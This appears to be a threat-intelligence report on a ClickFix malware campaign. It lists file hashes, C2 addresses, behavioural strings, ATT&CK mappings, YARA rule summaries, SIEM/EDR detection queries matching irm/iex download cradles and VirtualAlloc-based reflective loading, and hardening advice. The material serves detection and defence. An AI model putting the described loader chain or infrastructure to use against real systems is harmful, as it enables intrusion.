Server banner Apache/2.4.52 (Ubuntu) Server at 158.94.208.104 Port 80 HIGH Exact response banner cached in PID 992 — use for Shodan/Censys pivot and infrastructure fingerprinting.

// Files

FileSHA-256Size
ConsoleHost_history.txt be8bc69d144180646f32e15dc876527ac1733006b3f7a38322c90d628af33382 270 B
flferzre_0.cs
C# loader source
4b5665650908836fd9125ec3507ffd53d86782d84be2809f38483935bc50ffed 598 B
stage2_clickfix_loader.ps1
PCAP extracted
a511f3e12b92602cf077fdaa0ea59cf16208c4b3fd78c42c01c11c19bd98adb9 1,605 B
RES24C_tmp
COFF, csc.exe artifact
184951694be1f0333c95d78dfa286f39c4ac7e613da9efb312b970dd7c662438 1,336 B
PSModuleAnalysisCache 695e4fdeb57c87c08b53a41d7974bb6a002ecc02e138f29ee08a5caf2e7e4b05 28,524 B
↓ memdump analysis — SL-MEM-2026-v8
size95.exe
dropper filename artifact
PENDING — UTF-16LE wide string in MZER dumps, full sample not yet recovered unknown
qb4p11bz.dll
temp-drop DLL pattern [a-z0-9]{8}.dll
PENDING — region caught near-empty (entropy 0.41), DLL not fully mapped unknown
↓ ESET HIPS telemetry — SHA1 confirmed malicious — 2026-06-09 12:35–12:36
6dea2571-0b35-4d1d-8ca4-5f2db1a50350.tmp
PowerShell/Rozena.BI ★ Stage-2 confirmed
D284BAA8C2544F11198A2A7E875EBE15E90A3799 ~1,604 B
Unconfirmed *.crdownload ×5
Win64/Injector.AIY — MZER loader / injector
802DA05C38565978F1013F57CEF9538D8EDDE271
B78420563A67E7D782AAEB3AB522D1275723281B
CA75B39F8C16CA47EF26F9692C846789E0E4064E
CCDE849BFE870893591A1D0FFB093ECC556B7853
B7F0E587BF600B0FC3E9C2FB5A04BDD83A564EBF
unknown (partial .crdownload)
Unconfirmed 876583.crdownload
MSIL/Agent.FVB — .NET dropper component
DC78DAA1B358B8A57EF8BED7B3430014E6322BC5 unknown (partial .crdownload)

// Behavioral Strings

StringContext
cfChallengePS variable name — reliable lure IOC
confirmChallengePS variable name — reliable lure IOC
challengeHashPS variable name — reliable lure IOC
e3b0c44298fc1c149afb...SHA-256("") used as fake integrity hash
dIZYizFl (varies)Randomized C# class name — pattern-match via YARA
flferzre (varies)Randomized .cs temp file prefix — monitor csc drops
my_newest_ll.pngShellcode URL filename — possible static indicator (may rotate)
x7GkP2mQ9zL4Stage-3 directory path — likely rotates per campaign
↓ memdump analysis — SL-MEM-2026-v8
4D 5A 45 52 (MZER) at offset 0Custom loader magic bytes — not a valid DOS stub. Non-standard PE.
E8 C0 6D 00 00 C0 6D 00Shellcode blob header — PIC CALL entry + decryptor offset 0x6DC0. No PE wrapper.
size95.exeDropper filename — UTF-16LE wide string in all MZER watchdog thread regions.
qb4p11bz.dll / [a-z0-9]{8}\.dllRandomized temp-drop DLL naming pattern — reflective loader staging.
MyApplication.app.NET manifest artifact — dropper compiled as generic template binary.
\\.\pipe\CPFATP_Named pipe — CLR profiler abuse or IPC C2 channel. Hunt: CPFATP_* wildcard.
Global\CPFATE_Mutex artifact — CLR profiler mutex. Possible infection marker.
WINHTTP.dll + 158.94.208.104WinHTTP-based C2 beacon co-located with staging IP — confirms HTTP beacon path.
↓ ESET HIPS telemetry
PowerShell/Rozena.BIESET family name for the Stage-2 PS shellcode cradle — independently confirms stage2_clickfix_loader.ps1 from PCAP. Rozena = VirtualAlloc + Marshal.Copy + CreateThread pattern.
Win64/Injector.AIYESET family for the MZER PE injector — maps to PID 820 loader and reflective injection chain. 5 hits mirror 5 watchdog threads.
MSIL/Agent.FVBESET family for .NET dropper agent — maps to ASP.NET/WCF managed assembly in PID 4448 / Add-Type compiled class.
Unconfirmed *.crdownloadChrome partial-download extension — all payloads caught mid-write by ESET real-time scan. Confirms browser as delivery vehicle.
DC03E6394743FE3983B5573B589951041B225DE6chrome.exe SHA1 — consistent across all 7 HIPS events. Verified clean / untampered. Single Chrome process responsible for entire payload delivery burst.
ATT&CK Mapping

MITRE ATT&CK Techniques

T1204.002 User Execution
Malicious Paste (ClickFix)
T1059.001 PowerShell
irm+iex download cradle
T1105 Ingress Tool Transfer
Multi-stage payload DL
T1620 Reflective Code Loading
VirtualAlloc + CreateThread
T1027.003 Variable Name Obfuscation
All PS vars randomized
T1036.005 Masquerading
Shellcode with .png extension
Technique IDNameImplementation
T1204.002User Execution — Malicious PasteFake Cloudflare lure instructs victim to paste PS command
T1059.001PowerShellirm+iex download cradle; Add-Type compilation
T1105Ingress Tool TransferMulti-stage payload download from 158.94.208.92 and .104
T1620Reflective Code LoadingVirtualAlloc + CreateThread in-memory shellcode execution
T1027.003Obfuscation — Variable NamesAll PS variables randomized per sample; C# class name randomized
T1036.005Masquerading — File ExtensionRaw shellcode delivered with .png extension
YARA Detection Rules

Three Lure/Loader Rules + Four Memdump Rules

The three rules below target the lure and PS loader stages. Four additional memdump-derived rules (MZER loader, shellcode blob, temp DLL, C2 beacon) are in the Memory Dump Analysis section above. All seven rules are included in the STIX bundle.

Omegatech_ClickFix_v8_Lure_PowerShell Deploy: AMSI · ScriptBlock log · EDR PS monitoring
Detects the pasted lure command via the cfChallenge / challengeHash / confirmChallenge variable cluster combined with irm + iex patterns. All three variable names together form a highly reliable, low-false-positive anchor.
Omegatech_ClickFix_v8_Stage2_PSLoader Deploy: AMSI · EDR in-memory PS scan · Email/proxy content
Detects the stage-2 loader via Add-Type + TypeDefinition + DllImport + kernel32 + VirtualAlloc + CreateThread cluster. The combination of reflective loading primitives with Add-Type in a single script is highly anomalous.
Omegatech_ClickFix_v8_CSharp_PInvoke_Loader Deploy: Filesystem scan · csc.exe temp file monitoring
Detects the C# P/Invoke loader source (flferzre_0.cs pattern) via all four kernel32 imports + System.Runtime.InteropServices namespace. Targets csc.exe-dropped temp .cs files in %TEMP%.
Detection Guidance

SIEM / EDR Query Examples

High Confidence — Low False Positive
SIEM / EDR Queries
# SIEM — PowerShell ScriptBlock log (EID 4104)
event.id:4104 AND process.command_line:*cfChallenge* AND process.command_line:*iex*

# SIEM — Add-Type + VirtualAlloc in same session
event.id:4104 AND process.command_line:*Add-Type* AND process.command_line:*VirtualAlloc*

# EDR — csc.exe spawned by powershell.exe
process.name:csc.exe AND process.parent.name:powershell.exe

# Proxy / Firewall — HTTP to Omegatech range
dst.ip:158.94.208.0/24 AND network.protocol:http

# EDR — Named pipe creation matching MZER watchdog pattern (memdump-derived)
event.id:17 AND pipe.name:CPFATP_*

# EDR — Non-standard PE magic in written file (MZER loader, memdump-derived)
file.header_bytes:4d5a4552*
Medium Confidence
SIEM / EDR Queries
# Proxy — PowerShell UA to non-Microsoft, non-allowlisted IP
http.user_agent:*WindowsPowerShell* AND NOT dst.ip:<corp_allowlist>

# EDR — UseBasicParsing + iex in same command
process.command_line:*UseBasicParsing* AND process.command_line:*iex*

# File — New .cs file in %TEMP% followed by csc.exe spawn
file.path:*\\Temp\\*.cs AND event.id:1 (process create)

# EDR — 8-char random DLL loaded from %TEMP% / %APPDATA% (memdump-derived)
image.path:(*\\Temp\\* OR *\\AppData\\*) AND image.name:/^[a-z0-9]{8}\.dll$/

# EDR — WinHTTP connection to 158.94.208.104 outside browser context (memdump-derived)
network.destination.ip:158.94.208.104 AND NOT process.name:(chrome.exe OR firefox.exe OR msedge.exe)

# EDR — Identical memory region mapped across 5+ threads same PID (watchdog pattern)
memory.region.protection:RWX AND memory.region.thread_count:>=5 AND process.name:*.exe
Hardening Recommendations

Defensive Measures

1
User Awareness (Highest ROI) Train staff that no legitimate security check — Cloudflare, Microsoft, Google — will ever ask you to paste a command into a terminal. Any web page with such instructions is malicious by definition.
2
PowerShell Constrained Language Mode (CLM) Blocks Add-Type and limits available .NET classes, directly preventing the P/Invoke compilation step. Deploy via WDAC or AppLocker.
3
Attack Surface Reduction (ASR) Enable rule Block Win32 API calls from Office macros and process-injection rules. Applies to most reflective loaders including this variant.
4
Script Block Logging + AMSI Enable EID 4104 (ScriptBlock Logging) and ensure AMSI is active for PowerShell. AMSI inspects the plaintext script before execution — even iex-decoded content is visible to the provider.
5
Execution Policy — Signed Scripts Only Prevents unsigned remote scripts from executing. Not a standalone security boundary, but raises the bar for this class of attack.
6
Egress Filtering — Enforce HTTPS Block outbound HTTP (TCP/80) from workstations to non-corporate destinations. Both C2 servers in this campaign use plain HTTP — this alone would sever stage-2 and stage-3 delivery.
7
Monitor PSReadLine History Include %APPDATA%\...\PSReadLine\ConsoleHost_history.txt in EDR file monitoring. Reliably records pasted commands even when no other logging is enabled — highest forensic value for this attack class.
8
Clipboard Monitoring Advanced endpoint solutions can alert on clipboard content matching PowerShell patterns (irm, iex, etc.) before paste, providing pre-execution detection capability.
Execution Timeline

Detonation Sequence

2026-06-08 20:31:08 UTC
Stage-2 served by 158.94.208.92 (Apache server timestamp)
2026-06-08 20:31:09 UTC
csc.exe compiled C# loader — COFF timestamp (detonation anchor)
2026-06-08 20:31:09 UTC
In-memory shellcode execution begun
2026-06-08 20:31:39 UTC
WaitForSingleObject 30s timeout expires — loader exits
2026-06-09 12:35:25 UTC — ESET HIPS telemetry window opens
Win64/Injector.AIY — first payload written by chrome.exe (Unconfirmed 145271.crdownload)
2026-06-09 12:35:27–12:35:35 UTC
Win64/Injector.AIY ×4 more + MSIL/Agent.FVB ×1 — 5 injector blobs + .NET dropper written in 10s burst
2026-06-09 12:35:42 UTC
PowerShell/Rozena.BI — Stage-2 PS loader written as UUID .tmp (last file, confirms Stage-2 fetched after injectors)
2026-06-09 12:36:11–12:36:53 UTC
ESET detects and deletes all 7 files (44–79s detection lag per file — all cleaned before execution)

Total time from paste to active shellcode: ~1 second. Total C2 interaction window: ~31 seconds. ESET HIPS download burst: 17 seconds, 7 files, 3 families.

About

SecureLeaf / Dispensight

SecureLeaf is the cybersecurity intelligence division of Dispensight, specializing in threat intelligence, IOC collection, malware analysis, and campaign attribution.

Indicators are published to the following platforms under the Dispensight handle:

OTX AlienVault — handle: Dispensight
AbuseIPDB — zero-duplicate deduplication pipeline
TAXII 2.1 feed: taxii.dispensight.ca
STIX bundles — TLP:WHITE where appropriate
Web: secureleaf.dispensight.com